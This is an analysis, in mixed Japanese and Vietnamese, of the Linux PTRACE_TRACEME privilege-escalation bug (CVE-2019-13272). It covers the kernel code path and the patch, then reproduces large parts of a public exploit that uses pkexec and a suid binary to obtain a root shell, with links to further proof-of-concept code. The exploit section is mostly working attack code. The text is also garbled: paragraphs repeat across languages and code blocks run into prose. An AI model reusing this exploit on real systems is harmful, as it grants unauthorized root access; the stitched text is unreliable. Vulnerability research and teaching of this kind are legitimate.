トレース関係を確立する方法は2つある：
  - プロセスが `fork` 関数を呼び出し、その子プロセスが `PTRACE_TRACEME`（カーネル内の `ptrace_traceme` 関数に相当）を呼び出してトレースを初期化する。
  - プロセスが `PTRACE_ATTACH` または `PTRACE_SEIZE`（カーネル内の `ptrace_attach` 関数に相当）を呼び出して、別のプロセスをトレースするためのトレーサを初期化する。

どちらの方法を使っても、最終的には `ptrace_link` 関数が呼び出され、トレーサとトレース間のトレース関係が確立される。
- `ptrace_attach` の場合、`ptrace_link` に渡される2つのパラメータは 'task'（トレース）と 'current'（トレーサ）である。
- `ptrace_traceme` の場合、`ptrace_link` に渡される2つのパラメータは 'current'（トレース）と 'current->real_parent'（トレーサ）である。

ここで注意すべき点は、上記の2つの方法で `ptrace_link` 関数を呼び出す際のトレーサとトレースのパラメータが何であるかである。なぜなら、脆弱性は `ptrace_link` 関数に存在するからである。``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

実行権限に関する操作は主に関数 `prepare_binprm`にあります``` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

Nhìn vào 2 dòng code sau đối với đoạn code ở trên:
- Dòng 1522, gán euid hiện tại của process vào new euid, vì vậy hầu hết các process thực thi đều thực thi dưới quyền ban đầu.
- Dòng 1552, nếu bit suid được set, gán uid của chủ sở hữu file thực thi vào new uid. Có thể hiểu nó giống như việc setuid. New euid trở thành uid của chủ sở hữu file thực thi, nếu chủ sở hữu là một user đặc quyền, leo thang đặc quyền sẽ diễn ra ở đây.

Tuy nhiên, euid ở đây vẫn chưa phải là kết quả cuối cùng, ta cần xem xẻt hàm `security_bprm_set_creds` để biết thêm về việc kiểm tra bảo mật.

Hàm `security_bprm_set_creds` gọi [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) framework

Trên phiên bản kernel mà tôi phân tích, có đến 5 điểm hook lsm frameworks thực hiện kiểm tra bảo mật của 'bprm_set_creds'. Các hàm kiểm tra như sau:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

上記のように、
  - 行845は、euidが元のuidと一致しているかどうかをチェックします（上記の関数`bprm_fill_uid`の解析では、実行されたファイルにsetuidビットが設定されている場合、euidは通常一致しません）==> これは、実行中のプロセスがsetidプログラムであるかどうかを検出することと同等と理解できます。
  - 行847は、プロセスがtraceeであるかどうかをチェックします。
  
上記の2つの条件が満たされた場合、関数`ptracer_capable`を実行して権限を確認する必要があります。チェックが合格しない場合、権限の降格が実行されます。
  - 行851では、'*new->euid*'の値を'*new->uid*'に変更します。これは、関数`bprm_fill_uid`（cred）から取得された権限がここで降格される可能性があることを意味します。``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

上記の脆弱性を含むコードに戻ると、tracemeがトレースリンクを設定する際に親のcredを記録するのがなぜ間違っているのか？明らかにこのとき親はtracerである？

Jann Hornの例を使って、なぜtracemeがこの方法でトレースリンクを設定する際にtracerのcredを使用できないのかを説明する。``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

上記のコードのように、task Bとtask Cにはこの時点ですでにトレースリンクがあるため、ptrace要求をB経由でCに直接送信でき、そこから`arch_ptrace`関数が呼び出されます。``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

Nhìn vào đoạn code trên, ta có thể thấy, hàm `ptrace_access_vm` sẽ gọi hàm `ptracer_capable` mà chúng ta đã phân tích trước đó để xác định xem yêu cầu của nó có thể được thực hiện hay không.

Theo kết quả phân tích trước, '*ptracer_cred*' được lưu trong task C tại thời điểm này là một cred có đặc quyền, vì vậy `ptracer_capable` sẽ pass tại thời điểm này, có nghĩa là câu hỏi ở trên đã được trả lời. Trong trường hợp này, task B với quyền bình thường có thể dùng ptrace để gửi yêu cầu đọc và ghi vào vùng nhớ và vùng code của task C với quyền root.

Lúc này, đặc quyền '*ptracer_cred*' được thực hiện bởi task C trong hai trường hợp:
- Task C thực hiện `execve(suid binary)` để nâng cao quyền
- Task B với quyền thông thường có thể thực thi ptrace để đọc và ghi vào vùng code và vùng nhớ của task C, từ đó điều khiển task C thực hiện các hoạt động tùy ý

Sự kết hợp của 2 vai trò trên có phải là một hoạt động leo thang đặc quyền hoàn toàn hay không?

Trước khi trả lời cho câu hỏi bên trên, ta sẽ xem cách mà lổ hỏng này được khai thác và được vá.

# Sơ lược về bản vá lỗ hổng PTRACE_TRACEME
上のコードを見ると、関数 `ptrace_access_vm` が、先に分析した関数 `ptracer_capable` を呼び出して、要求を実行できるかどうかを判断していることがわかります。

先の分析結果によると、この時点でタスクCに保存されている '*ptracer_cred*' は特権を持つcredであるため、ここで `ptracer_capable` は通過します。つまり、上記の疑問は解決されました。この場合、通常権限のタスクBはptraceを使用して、ルート権限を持つタスクCのメモリ領域やコード領域への読み取り・書き込み要求を送信できます。

この時、'*ptracer_cred*' の特権がタスクCによって行使されるのは、次の2つのケースです。
- タスクCが `execve(suid binary)` を実行して権限を昇格させる
- 通常権限のタスクBがptraceを実行して、タスクCのコード領域やメモリ領域を読み取り・書き込みし、タスクCを制御して任意の操作を行わせる

上記2つの役割の組み合わせは、完全な権限昇格の動作と言えるのでしょうか？

上記の質問に答える前に、この脆弱性がどのように悪用され、どのように修正されたかを見ていきます。

# PTRACE_TRACEME 脆弱性の修正に関する概要``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

Hãy cùng nhìn lại bản vá: '*\_\_task_cred(new_parent)*' thay bằng '*current_cred()*'

Bản vá chỉ ra rằng khi PTRACE_TRACEME được thực thi, '*ptracer_cred*' không được sử dụng cred của process cha, mà sử dụng cred của chính nó.

# Exploit
Mấu chốt để khai thác lỗ hổng này là tìm một chương trình thực thi phù hợp để bắt đầu task B. Chương trình thực thi này phải đáp ứng các điều kiện sau
- Người dùng bình thường có thể gọi được
- Phải có một giai đoạn leo thang đặc quyền lên root trong quá trình thực thi
- Sau khi có quyền root, phải có thể hạ quyền xuống.

(Mục đích của việc tạm thời leo lên root là để cho phép task C có được ptracer_cred của root và mục đích của việc hạ cấp quyền là để cho phép B được attach bởi một process với các đặc quyền ptrace thông thường ))

Ở đây là 3 mẫu code để khai thác:
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

Trong [exploit của Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217), chương trình [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) sẵn có trong máy (đối với bản desktop) được sử dụng để bắt đầu task B

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) cho phép người dùng có đặc quyền chạy một chương trình khác với quyền người dùng khác, được sử dụng trong framework xác thực của polkit. Khi sử dụng tham số --user, nó cho phép process nâng cấp quyền lên root và sau đó hạ xuống người dùng được chỉ định, vì vậy nó có thể được sử dụng cho quá trình xây dựng task B, ngoài ra, ta cần tìm thêm các chương trình thực thi được thực thi thông qua khung polkit (Jann Horn sử dụng các helper). Các chương trình này cần phải đáp ứng rằng người dùng bình thường có thể thực thi chúng bằng pkexec mà không cần phải xác thực (nhiều chương trình được thực thi thông qua polkit yêu cầu xác thực thông qua cửa sổ đưuọc bật lên), cách để thực thi như sau:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

まず、186行を見てください。clone関数の呼び出しで子プロセス（タスクB）を作成し、タスクBはmiddle_main関数を実行します。``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

次に、タスクAのmain関数に戻り、194行目から202行目で、タスクAはタスクBのcommファイルがhelperになったかどうかを確認します。もしなっていれば、213行目を実行してforce_exec_and_wait関数を実行します。``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

Hàm middle_stage2 cũng gọi force_exec_and_wait, sẽ làm cho task B sử dụng ptrace để điều khiển task C thực hiện hàm execveat, thay thế image của task C bằng tệp nhị phân của exploit và tham số là stage3``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

spawn_shell関数では、まずsetresgid/setresuidを使用して、プロセスのreal uid/effective uid/save uidをrootに変更します。タスクCがsuidバイナリを実行し、自身のeuidをrootに変更したばかりであるため、ここでsetresuid/setresgidは正常に実行できます。この時点で、タスクCは完全なrootプロセスになります。最後に、execlpを実行してシェルを起動し、このシェルはrootのすべての権限を持つことになります。``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+